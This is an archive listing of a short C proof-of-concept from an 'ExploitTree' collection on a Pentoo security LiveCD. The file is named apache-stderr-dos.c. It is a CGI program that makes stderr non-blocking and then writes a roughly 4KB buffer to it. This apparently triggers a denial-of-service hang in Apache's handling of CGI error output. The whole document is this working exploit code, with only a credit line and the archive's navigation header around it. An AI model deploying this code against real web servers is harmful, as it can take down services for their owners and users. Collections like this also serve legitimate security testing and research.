home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache-stderr-dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  923b  |  42 lines

  1. // Credit to: K.C. Wong
  2. #include <stdio.h>
  3. #include <time.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6.  
  7. #define SIZE 4075
  8.  
  9. void out_err()
  10. {
  11.         char buffer[SIZE];
  12.         int i = 0;
  13.  
  14.         for (i = 0; i < SIZE - 1; ++i)
  15.                 buffer[i] = 'a' + (char )(i % 26);
  16.  
  17.         buffer[SIZE - 1] = '\0';
  18.  
  19. //
  20. fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK);
  21.  
  22.         fprintf(stderr, "short test\n");
  23.         fflush(stderr);
  24.  
  25.         fprintf(stderr, "test error=%s\n", buffer);
  26.         fflush(stderr);
  27. } // out_err()
  28.  
  29. int main(int argc, char ** argv)
  30. {
  31.         fprintf(stdout, "Context-Type: text/html\r\n");
  32.         fprintf(stdout, "\r\n\r\n");
  33.         out_err();
  34.         fprintf(stdout, "<HTML>\n");
  35.         fprintf(stdout, "<body>\n");
  36.         fprintf(stdout, "<h1>hello world</h1>\n");
  37.         fprintf(stdout, "</body>\n");
  38.         fprintf(stdout, "</HTML>\n");
  39.         fflush(stdout);
  40.         exit(0);
  41. } // main()
  42.